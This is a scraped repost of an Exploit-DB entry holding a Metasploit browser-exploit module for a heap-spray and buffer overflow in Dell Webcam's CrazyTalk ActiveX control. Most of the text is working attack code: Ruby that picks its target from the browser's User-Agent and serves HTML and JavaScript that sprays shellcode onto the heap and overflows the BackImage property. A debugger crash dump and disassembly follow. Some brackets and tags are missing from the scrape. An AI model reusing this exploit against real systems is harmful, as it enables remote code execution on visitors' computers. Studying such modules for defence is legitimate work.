Dell Webcam CrazyTalk – ActiveX BackImage (Metasploit)

Exploit Database
113 阅读

作者： Metasploit

日期： 2012-03-21
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18634/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability",

'Description'=> %q{

This module exploits a vulnerability in Dell Webcam's CrazyTalk component.

Specifically, when supplying a long string for a file path to the BackImage

property, an overflow may occur after checking certain file extension names,

resulting in remote code execution under the context of the user.

'License'=> MSF_LICENSE,

'Author' =>

[

'rgod', #Discovery, PoC

'sinn3r'#Metasploit

'References' =>

[

[ 'URL', 'http://www.dell.com/support/drivers/us/en/04/DriverDetails/DriverFileFormats?c=us&l=en&s=bsd&cs=04&DriverId=R230103' ],

[ 'URL', 'http://www.exploit-db.com/exploits/18621/' ],

[ 'OSVDB', 80205]

'Payload'=>

{

'BadChars'=> "\x00",

'StackAdjustment' => -3500

'DefaultOptions'=>

{

'ExitFunction' => "seh",

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600'} ],

[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600'} ],

[ 'IE 7 on Windows Vista',{ 'Offset' => '0x600'} ]

'Privileged' => false,

'DisclosureDate' => "Mar 19 2012",

'DefaultTarget'=> 0))

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/

return targets[1]#IE 6 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/

return targets[2]#IE 7 on Windows XP SP3

elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/

return targets[3]#IE 7 on Windows Vista

else

return nil

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")

send_not_found(cli)

return

end

print_status("#{cli.peerhost}:#{cli.peerport} - Target set: #{my_target.name}")

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

js = heaplib(js, {:noobfu => true})

html = <<-EOS

<html>

<head>

#{js}

</script>

</head>

<body>

var arg = "\x0c";

while (arg.length < 2000) arg += arg;

target.BackImage = arg.substring(0, 2000);

</script>

</html>

EOS

print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

=begin

The tmp path has the username that we cannot accurately control remotely, so there's

no point to try to overwrite the stack precisely.

targetFile = "C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CRAZYT~1.OCX"

prototype= "Invoke_Unknown BackImage As String"

memberName = "BackImage"

progid = "CRAZYTALK4Lib.CrazyTalk4"

argCount = 1

(d4c.d9c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=10005970 ecx=0000b3a0 edx=020bf34f esi=03422f98 edi=020bf5ac

eip=41414141 esp=020bf33c ebp=020bf390 iopl=0 nv up ei pl nz na po nc

cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202

<Unloaded_Ed20.dll>+0x41414140:

41414141 ?????

======

.text:03854F59 lea ecx, [esp+33Ch+Str1]

.text:03854F5D pushoffset a_asp; ".asp"

.text:03854F62 pushecx ; Str1

.text:03854F63 mov [esp+344h+var_308], 0

.text:03854F68 callebx ; _stricmp <-- Nope

.text:03854F71 lea edx, [esp+328h+Str1]

.text:03854F75 pushoffset a_php; ".php"

.text:03854F7A pushedx ; Str1

.text:03854F7B callebx ; _stricmp <--- Still nope

.text:03854F84 mov ebx, [esp+328h+Dest]

.text:03854F8B lea eax, [esp+328h+Str1]

.text:03854F8F lea ecx, [esp+328h+Filename]

.text:03854F96 pusheax

.text:03854F97 add esi, 3B44h

.text:03854F9D pushecx

.text:03854F9E pushesi

.text:03854F9F pushoffset aSSS ; "%s%s%s"

.text:03854FA4 pushebx ; Dest

.text:03854FA5 callds:sprintf

=end